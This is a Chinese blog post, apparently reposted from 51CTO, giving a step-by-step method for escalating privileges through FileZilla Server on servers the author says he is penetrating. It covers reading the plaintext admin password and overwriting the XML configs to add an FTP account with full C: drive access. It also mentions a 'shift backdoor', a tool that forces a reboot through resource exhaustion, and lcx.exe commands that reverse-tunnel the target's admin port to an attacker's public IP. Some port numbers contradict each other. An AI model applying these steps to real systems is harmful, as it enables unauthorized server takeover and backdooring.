FileZilla提权的测试报告

简介:

 最新渗透一些国外的网站遇到了很多的服务器都是用的FileZilla_Server来做FTP服务器,于是就下载了一个来本地先测试下看看有什么方法能够提权,由此成文。本文测试的版本是FileZilla_Server-0_9_37。
1.基本信息测试
默认安装路径C:\Program Files\FileZilla Server
默认管理员端口:14147 (安装完可以修改)
访问FTP端口:21
安装目录下的2个重要的XML文件

 

C:\Program Files\FileZilla Server\FileZilla Server Interface.xml
C:\Program Files\FileZilla Server\ FileZilla Server.xml
安装完后跳出一个登录框,密码随便输入都可以登录,但是第二次登录就必须输入你第一次安装登录的密码了,密码可以在登录后修改。
(1) FileZilla Server Interface.xml 文件
该文件用来保存管理员的登录信息,密码也在里面,而且的是明文保存,格式如下
< FileZillaServer >
     < Settings >
         < Item  name = "Last Server Address"  type = "string" >127.0.0.1</ Item >
         < Item  name = "Last Server Port"  type = "numeric" >14147</ Item >
         < Item  name = "Last Server Password"  type = "string" >adminpass</ Item >
         < Item  name = "Always use last server"  type = "numeric" >0</ Item >
     </ Settings >
</ FileZillaServer >
其中Last Server Address是上次管理端登录的IP地址,Last Server Password是的密码,保存的这个端口是管理管理的端口,默认情况下只允许本地127.0.0.1访问
(2)FileZilla Server.xml文件
该文件是用来保存普通ftp用户的信息的,默认安装后格式如下:
< FileZillaServer >
     < Settings >
         < Item  name = "Admin port"  type = "numeric" >14147</ Item >
     </ Settings >
</ FileZillaServer >
(3)启动方式
在默认安装下,系统通过服务器方式加载,服务名为FileZilla Server FTP server,可以在命令里面实现启动和停止,命令如下:
net start  "FileZilla Server FTP server"
net stop  "FileZilla Server FTP server"
可以通过net start查看是否通过服务方式启动。
2.修改后的信息探测
在这边主要测试一些安全相关的,包括远程连接和用户管理
(1)添加远程允许管理ftp的IP地址
启动服务端程序,菜单栏中一次选择Edit->Settings,找到Admin Interface settings这个菜单。这个主要设置管理端的一些访问设置,如图01

要开启远程管理功能,第一步必须绑定管理端的IP地址,就是FTP服务器的IP地址(公网IP),如果你是外网的IP地址,第二步添加允许登录的管理端 IP地址,就是当前你的公网IP地址。这样设置完后点击OK就可以生效了。我们再去看看这个配置是怎么保存的,打开安装目录下FileZilla Server.xml文件,关注我们修改的:
192.168.11.7
192.168.11.11
第一条是ftp服务器的ip地址,第二条是允许连接ftp服务器管理端的IP地址。
(2)添加FTP用户
选择菜单:Edit->Users,点击按钮Add添加一个账户,但是要先添加一个用户组。
选择菜单:Edit->Groups,点击按钮Add添加一个用户组,比如LengF用户组,如图02:

添加完,我们在看看文件里面变化,打开安装目录下文件FileZilla Server.xml文件,看到如下:
这是添加用户组的代码。接下来添加一个普通用户,按上面操作如图03:

添加完用户了,我们再看看文件变化,打开安装目录下FileZilla Server.xml文件,添加的代码如如下:
< Users >
         < User  Name = "81sec.com" >
             < Option  Name = "Pass" ></ Option >
             < Option  Name = "Group" >lengf</ Option >
             < Option  Name = "Bypass server userlimit" >2</ Option >
             < Option  Name = "User Limit" >0</ Option >
             < Option  Name = "IP Limit" >0</ Option >
             < Option  Name = "Enabled" >2</ Option >
             < Option  Name = "Comments" ></ Option >
             < Option  Name = "ForceSsl" >2</ Option >
             < IpFilter >
                 < Disallowed  />
                 < Allowed  />
             </ IpFilter >
             < Permissions  />
             < SpeedLimits  DlType = "0"  DlLimit = "10"  ServerDlLimitBypass = "2"  UlType = "0"  UlLimit = "10" ServerUlLimitBypass = "2" >
                 < Download  />
                 < Upload  />< a  href = 'http://www.81sec.com/wp-content/uploads/2011/03/FileZilla_file.zip' >FileZilla_file</ a >
             </ SpeedLimits >
         </ User >
</ Users >
可见FTP就是通过XML来保存用户信息的。分析这些主要在下面提权会用到。
3.提权中的思路
如果FileZilla Server的安装目录有修改权限可以通过添加一个普通用户,只要给他c盘的所有权限就可以了,如果对方开启了3389,直接来个shift后门。找到安 装目录,先备份两个文件FileZilla Server Interface.xml和FileZilla Server.xml,然后将下面两个文件内容全部覆盖到这2个文件重启服务器即可,这两个文件的配置说明如下:
下载: FileZilla_file
添加一个用户名为81sec.com密码为123,用户组是Lengf,这个是必须存在的一个用户组,根据你当前的服务器的用户组相应修改,下面是默认路 径是c:盘,并且具有读写改的权限。有了权限就看你怎么发挥了。如果这个文件有修改权限就可以直接修改了。另外注意记得修改里面的服务器地址和允许连接管 理端的IP地址,修改代码如下:
< Item  name = "Admin IP Bindings"  type = "string" >192.168.11.11</ Item >
< Item  name = "Admin IP Addresses"  type = "string" >192.168.11.7</ Item >
不过服务器要重新启动ftp服务器或者服务器重启。如果可以执行命令,就先停止该服务在启动服务即可生效了。
net start  "FileZilla Server FTP server"
net stop  "FileZilla Server FTP server"
重启完就ok了!本地假设直接登录管理FTP,不过建议不要修改允许连接的IP地址,直接添加个账户就可以了。格式就从上面的两个文件中提取就不说了。
4.疑问解决思路
(1)无法重启服务
在网络上有看到一种方法就是消耗系统资源逼迫服务器重启的方式。下面提供这种工具,并且在GUEST权限下就可以完成,另外取决于内存的大小。
下载: Guest权限重启服务器工具
(2)配置文件只有可读权限
如果安装目录只有可读那么就比较不好办,但是天无绝人之路,默认安装只允许127.0.0.1连接FTP服务器,那么本地的监听端口默认是14147,我 们可以通过端口转发工具将端口转发出来,如果服务器不在内网,随便一款端口转发都可以,如果服务器在内网?我们同样也有办法,记得3389反弹连接的方 法?对,利用LCX就可以将内网端口转发,而且是反弹模式。这里我就演示lcx的使用方法(在内网的情况)。假设你有公网IP或者能否映射端口到你本地的 路由器,那么在本地利用lcx.exe监听某个端口,比如:
Lcx.exe –listen 51 14147
51是目标服务器端映射过来的端口,后面的14147是你本地FileZilla Server的端口。下一步在目标服务器上执行:
Lcx.exe –slave 123.123.123.123 51 127.0.0.1 14147
23.123.123.123是攻击者的公网IP,51是攻击者监听的端口,127.0.0.1是目标服务器上的,14147是目标服务器的FileZilla Server的管理端监听端口。如图04,05:


图04 攻击这监听这个端口

图 05 在目标服务器执行反弹
这样就可以完成端口转发了,最后一步直接本地搭建FileZilla Server,连接本地127.0.0.1的1988端口,密码是在目标服务器中配置的那个。上去FTP管理添加一个权限高点的FTP账户即可,后面的提权就轻松了。
本文的测试报告就到这里了,有什么不对的还望指出。

 











本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/538382,如需转载请自行联系原作者

相关文章
|
7月前
|
安全 PHP Apache
记一次匈牙利服务器提权案例
记一次匈牙利服务器提权案例
55 0
|
安全 API 数据安全/隐私保护
Cobaltstrike4.0——记一次上头的powershell上线分析(三)
Cobaltstrike4.0——记一次上头的powershell上线分析
210 0
|
7月前
|
安全 关系型数据库 MySQL
黑吃黑Getshell到提权实战案例
黑吃黑Getshell到提权实战案例
208 0
|
存储 安全 Ubuntu
Linux服务器还有漏洞?建议使用 OpenVAS 日常检查!
Linux服务器还有漏洞?建议使用 OpenVAS 日常检查!
216 0
|
存储 安全 API
Cobaltstrike4.0——记一次上头的powershell上线分析(二)
Cobaltstrike4.0——记一次上头的powershell上线分析
294 0
|
Java API C#
Cobaltstrike4.0——记一次上头的powershell上线分析(一)
Cobaltstrike4.0——记一次上头的powershell上线分析
330 0
|
安全 网络协议 Linux
基于Metasploit完成Samba服务漏洞复现
基于Metasploit完成Samba服务漏洞复现
基于Metasploit完成Samba服务漏洞复现
|
安全 数据库
在kali中部署DVWA靶场
在kali中部署DVWA靶场
398 0
在kali中部署DVWA靶场
|
搜索推荐 网络安全 数据安全/隐私保护
SecureCRT通过脚本实现自动化登录
SecureCRT通过脚本实现自动化登录
479 0